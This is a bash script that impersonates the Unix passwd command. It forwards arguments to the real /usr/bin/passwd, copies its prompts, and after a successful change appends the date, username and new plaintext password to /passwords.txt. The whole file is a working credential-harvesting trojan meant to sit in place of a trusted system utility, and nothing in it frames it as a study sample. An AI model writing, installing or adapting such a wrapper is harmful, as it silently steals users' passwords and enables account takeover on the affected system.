#!/bin/bash

PASSWORD_PATH="/usr/bin/passwd"
LOG_PATH="/passwords.txt"

if ! [ -t 0 ]; then
	STDIN=$(cat)
fi

USER=""
for ARG in "$@"; do
    
	OUT=$(echo "$ARG" | grep "^-")
    if [ "$OUT" != "" ]; then
        PASSTHROUGH=true
    else
		if [ "$USER" == "" ]; then
			USER="$ARG"
		else
			PASSTHROUGH=true
		fi
	fi
done

if [ "$PASSTHROUGH" = true ]; then
	$PASSWORD_PATH "$@"
	exit $?
fi

if [ "$USER" == "" ]; then
	USER="root"
else
	#Verify User
	id -u "$USER" > /dev/null 2>&1
	EXISTS=$?
	if [ $EXISTS -eq 1 ]; then
		#User does not exist
		$PASSWORD_PATH "$USER"
		exit $?
	fi
fi

if [ "$STDIN" == "" ]; then
    read -s -p "Enter new UNIX password: " PASS
    echo ""
    read -s -p "Retype new UNIX password: " PASS_CONFIRM
    echo ""   
    ACTUAL_OUT=$((echo $PASS; echo $PASS_CONFIRM) | $PASSWORD_PATH $* 2>&1)
	EXIT_CODE=$?
	PROCESSED_OUT=$(echo "$ACTUAL_OUT" | cut -c52-)
	echo "$PROCESSED_OUT"
else
    PASS=$(echo "$STDIN" | head -n1)
	ACTUAL_OUT=$(echo "$STDIN" | $PASSWORD_PATH "$@" 2>&1)
	EXIT_CODE=$?
    echo "$ACTUAL_OUT"
fi

if [ $EXIT_CODE -eq 0 ]; then
    echo "$(date) : $USER : $PASS" >> $LOG_PATH
fi

exit $EXIT_CODE
